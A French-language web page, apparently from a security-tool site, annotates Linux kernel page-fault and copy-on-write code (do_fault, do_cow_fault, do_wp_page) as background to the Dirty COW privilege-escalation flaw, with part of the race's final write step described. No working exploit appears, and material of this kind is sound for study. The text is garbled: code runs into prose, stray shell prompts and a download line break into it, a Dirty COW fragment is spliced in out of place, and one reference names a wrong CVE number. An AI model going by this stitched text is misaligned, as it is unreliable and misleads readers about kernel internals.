	 * e.g.ppc44x-defconfig has CONFIG_PTE_64BIT=y and CONFIG_32BIT=y,
	 * so READ_ONCE or ACCESS_ONCE cannot guarantee atomic accesses.
	 * The code below just needs a consistent view for the ifs and
	 * we later double check anyway with the ptl lock held. So here
	 * a barrier will do.
	 */
	entry = *pte;
	barrier();
	if (!pte_present(entry)) {	// 页表项不在内存中(page fault第一次)
		if (pte_none(entry)) {	// 页表项为空,进程第一次访问该页面
			if (vma_is_anonymous(vma))	// 没有设置vma->vm_ops,即为匿名页面(即不是文件映射)
				return do_anonymous_page(mm, vma, address,
							 pte, pmd, flags);
			else
				return do_fault(mm, vma, address, pte, pmd,		// 若为文件映射页面
						flags, entry);
		}
		return do_swap_page(mm, vma, address,	// 页表项不为空,将页面swap进内存
					pte, pmd, flags, entry);
	}

	if (pte_protnone(entry))	// 页表项为保护页
		return do_numa_page(mm, vma, address, entry, pte, pmd);	// NUMA

	ptl = pte_lockptr(mm, pmd);	// 页表自旋锁,此时页面已经在内存中
	spin_lock(ptl);
	if (unlikely(!pte_same(*pte, entry)))	// 并发检查
		goto unlock;
	if (flags & FAULT_FLAG_WRITE) {	// page fault是由写操作引发
		if (!pte_write(entry))		// 页不可写
			return do_wp_page(mm, vma, address,	// COW
					pte, pmd, ptl, entry);
		entry = pte_mkdirty(entry);	// 页可写,设置为脏页
	}
	entry = pte_mkyoung(entry);
	if (ptep_set_access_flags(vma, address, pte, entry, flags & FAULT_FLAG_WRITE)) {
		update_mmu_cache(vma, address, pte);
	} else {
		/*
		 * This is needed only for protection faults but the arch code
		 * is not yet telling us if this is a protection fault or not.
		 * This still avoids useless tlb flushes for .text page faults
		 * with threads.
		 */
		if (flags & FAULT_FLAG_WRITE)
			flush_tlb_fix_spurious_fault(vma, address);
	}
unlock:
	pte_unmap_unlock(pte, ptl);
	return 0;
}
do_fault

Comme cette fois nous nous intéressons principalement à COW, nous choisissons de continuer plus en profondeur à partir de do_fault.

  • Tout d'abord, localiser la page du fichier où l'exception de défaut de page s'est produite (nous avons précédemment confirmé que la page provient d'un mappage de fichier).

  • Vérifier que le gestionnaire d'exception de défaut de page est défini dans vma->vmops.

  • Si c'est une opération de lecture, appeler do_read_fault.

  • Si c'est une opération d'écriture, déterminer si la page est partageable. Si ce n'est pas le cas, cela signifie que la page est privée à la tâche et nécessite COW, appeler do_cow_dault.

  • Si c'est une opération d'écriture et que la page est partagée, appeler do_shared_fault.```c static int do_fault(struct mm_struct *mm, struct vm_area_struct *vma, unsigned long address, pte_t *page_table, pmd_t *pmd, unsigned int flags, pte_t orig_pte) { pgoff_t pgoff = (((address & PAGE_MASK) - vma->vm_start) >> PAGE_SHIFT) + vma->vm_pgoff; // 发生page fault的地址在文件中的页面偏移量

    pte_unmap(page_table); /* The VMA was not fully populated on mmap() or missing VM_DONTEXPAND */ if (!vma->vm_ops->fault) // 是否有定义处理缺页异常的函数 return VM_FAULT_SIGBUS; if (!(flags & FAULT_FLAG_WRITE)) // 当前内存访问是读操作 return do_read_fault(mm, vma, address, pmd, pgoff, flags, orig_pte); if (!(vma->vm_flags & VM_SHARED)) // 当前内存访问是写操作,且是私有映射MAP_PRIVATE,那么需要COW return do_cow_fault(mm, vma, address, pmd, pgoff, flags, // 创建一个新的页,将数据拷贝到新页中,设置新页的PTE(此时还未真正write) orig_pte); return do_shared_fault(mm, vma, address, pmd, pgoff, flags, orig_pte); // 当前内存访问是写操作,且是共享映射MAP_SHARED,不需要COW }

root@kitploit:~
##### do_cow_fault

Le déroulement de `do_cow_fault` est globalement le suivant :

- Tout d'abord, `alloc_page_vma` est appelée pour allouer une nouvelle page physique `new_page`
- Vérification si OOM (Out Of Memory)
- Ensuite, `__do_fault` lit les données du fichier vers une autre page `fault_page` ; cela consiste essentiellement à appeler la fonction `fault` liée à `vma->vm_ops`
- `copy_user_highpage` copie les données de `fault_page` vers `new_page` ; cette fonction est en réalité une enveloppe de `memcpy`
- `do_set_pte` définit la pte (entrée de table de pages) pour la page, avec les attributs : inscriptible et page anonyme```c
static int do_cow_fault(struct mm_struct *mm, struct vm_area_struct *vma,
		unsigned long address, pmd_t *pmd,
		pgoff_t pgoff, unsigned int flags, pte_t orig_pte)
{
	struct page *fault_page, *new_page;
	struct mem_cgroup *memcg;
	spinlock_t *ptl;
	pte_t *pte;
	int ret;

	if (unlikely(anon_vma_prepare(vma)))
		return VM_FAULT_OOM;

	new_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, address);	// 为新页分配物理内存。VMA的表示粒度是4k
	if (!new_page)
		return VM_FAULT_OOM;

	if (mem_cgroup_try_charge(new_page, mm, GFP_KERNEL, &memcg)) {	// 检查当前进程使用的内存是否超过了cgroup的限制
		page_cache_release(new_page);	// 释放COW的新页
		return VM_FAULT_OOM;	// 返回OOM错误,COW失败
	}

	ret = __do_fault(vma, address, pgoff, flags, new_page, &fault_page);	// 从文件中读取数据到fault_page
	if (unlikely(ret & (VM_FAULT_ERROR | VM_FAULT_NOPAGE | VM_FAULT_RETRY)))
		goto uncharge_out;

	if (fault_page)	// 读取成功
		copy_user_highpage(new_page, fault_page, address, vma);	// 将fault_page的数据拷贝到new_page中,实际调用memcpy
	__SetPageUptodate(new_page);

	pte = pte_offset_map_lock(mm, pmd, address, &ptl);
	if (unlikely(!pte_same(*pte, orig_pte))) {	// 并发检查
		pte_unmap_unlock(pte, ptl);
		if (fault_page) {
			unlock_page(fault_page);
			page_cache_release(fault_page);
		} else {
			/*
			 * The fault handler has no page to lock, so it holds
			 * i_mmap_lock for read to protect against truncate.
			 */
			i_mmap_unlock_read(vma->vm_file->f_mapping);
		}
		goto uncharge_out;
	}
	do_set_pte(vma, address, new_page, pte, true, true);	// 设置新页的PTE,该页为可写匿名页
	mem_cgroup_commit_charge(new_page, memcg, false);
	lru_cache_add_active_or_unevictable(new_page, vma);
	pte_unmap_unlock(pte, ptl);
	if (fault_page) {
		unlock_page(fault_page);
		page_cache_release(fault_page);
	} else {
		/*
		 * The fault handler has no page to lock, so it holds
		 * i_mmap_lock for read to protect against truncate.
		 */
		i_mmap_unlock_read(vma->vm_file->f_mapping);
	}
	return ret;
uncharge_out:
	mem_cgroup_cancel_charge(new_page, memcg);
	page_cache_release(new_page);
	return ret;
}
do_wp_page

Lors du premier défaut de page, nous avons déjà lu le contenu du fichier en mémoire via do_cow_fault dans do_fault et configuré la pte. Maintenant, c'est le second défaut de page dû à l'absence de permission d'écriture. Cette fois, le processus de do_wp_page appelé par handle_pte_fault est le suivant :

  • D'abord, obtenir la page correspondant à la pte.

  • Ensuite, le flux COW atteint reuse_swap_page, qui vérifie si un seul Task utilise cette page.

  • Si c'est le cas, réutilise directement la nouvelle page allouée par do_cow_fault, wp_page_copy copie le contenu de la page, et le COW est ainsi terminé.```c static int do_wp_page(struct mm_struct *mm, struct vm_area_struct *vma, unsigned long address, pte_t *page_table, pmd_t *pmd, spinlock_t *ptl, pte_t orig_pte) __releases(ptl) { struct page *old_page;

    old_page = vm_normal_page(vma, address, orig_pte); // 获取pte对应的页面 if (!old_page) { /* * VM_MIXEDMAP !pfn_valid() case, or VM_SOFTDIRTY clear on a * VM_PFNMAP VMA. * * We should not cow pages in a shared writeable mapping. * Just mark the pages writable and/or call ops->pfn_mkwrite. */ if ((vma->vm_flags & (VM_WRITE|VM_SHARED)) == (VM_WRITE|VM_SHARED)) return wp_pfn_shared(mm, vma, address, page_table, ptl, orig_pte, pmd);

    root@kitploit:~
      pte_unmap_unlock(page_table, ptl);
      return wp_page_copy(mm, vma, address, page_table, pmd,
      		    orig_pte, old_page);
    

    }

    /*

    • Take out anonymous pages first, anonymous shared vmas are
    • not dirty accountable. */ if (PageAnon(old_page) && !PageKsm(old_page)) { // 处理匿名页 if (!trylock_page(old_page)) { // 尝试获取页面锁 page_cache_get(old_page); pte_unmap_unlock(page_table, ptl); lock_page(old_page); page_table = pte_offset_map_lock(mm, pmd, address, &ptl); if (!pte_same(page_table, orig_pte)) { unlock_page(old_page); pte_unmap_unlock(page_table, ptl); page_cache_release(old_page); return 0; } page_cache_release(old_page); } if (reuse_swap_page(old_page)) { // 判断是否只有一个进程引用该页面,如果是则直接复用 / * The page is all ours. Move it to our anon_vma so * the rmap code will not search our parent or siblings. * Protected against the rmap code by the page lock. */ page_move_anon_rmap(old_page, vma, address); // 移动页面到匿名映射区 unlock_page(old_page); return wp_page_reuse(mm, vma, address, page_table, ptl, // 重用页面 orig_pte, old_page, 0, 0); } unlock_page(old_page); } else if (unlikely((vma->vm_flags & (VM_WRITE|VM_SHARED)) == (VM_WRITE|VM_SHARED))) { return wp_page_shared(mm, vma, address, page_table, pmd, ptl, orig_pte, old_page); }
root@kitploit:~
## Références

- [Un article complet sur le traitement des défauts de page sous Linux — Illustration des Page Faults](https://www.cnblogs.com/binlovetech/p/17918733.html)
- [Comprendre l'essence du mappage mémoire mmap depuis le monde du noyau (partie implémentation du code source)](https://www.cnblogs.com/binlovetech/p/17754173.html)
- [Analyse et reproduction de la vulnérabilité CVE-2016-5195](https://xz.aliyun.com/t/7561?time__1311=n4%2BxnD0G0%3D14gDBqPod4iIQ0I%3DD5G80ePD&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-7)
- [【Analyse de vulnérabilité】CVE-2016-5195 Dirtycow : Analyse de la vulnérabilité d'élévation de privilèges du noyau Linux](https://www.anquanke.com/post/id/84784)
- [Analyse du flux de traitement des défauts de page de Linux et analyse de CVE-2021-5195](https://www.anquanke.com/post/id/290851)
- [Compilation des vulnérabilités critiques Dirtycow sous Linux](https://zhuanlan.zhihu.com/p/25918300)
- [Cours, noyau Linux !](https://xuanxuanblingbling.github.io/assets/attachment/奔跑吧-linux内核-内存管理-DirtyCow.pdf)
Télécharger l’outil
  • Comme cette fois l’accès est en lecture seule, faultin_page réussit à lire la page cible en mémoire et à établir la mise en correspondance, au lieu de copier une page anonyme comme dans le cas normal, puis retourne pour un réessai.
  • Quatrième fois
    1. follow_page_mask obtient la page une quatrième fois ; cette fois il réussit à obtenir la page cible sans provoquer d’exception.
    2. Retour à kmap, la tâche termine l’écriture, la page est marquée comme modifiée (dirty), et finalement les modifications sont synchronisées dans le fichier, réalisant une écriture abusive.
  • /*

    • Ok, we need to copy. Oh, well.. */ page_cache_get(old_page);

    pte_unmap_unlock(page_table, ptl); return wp_page_copy(mm, vma, address, page_table, pmd, orig_pte, old_page); }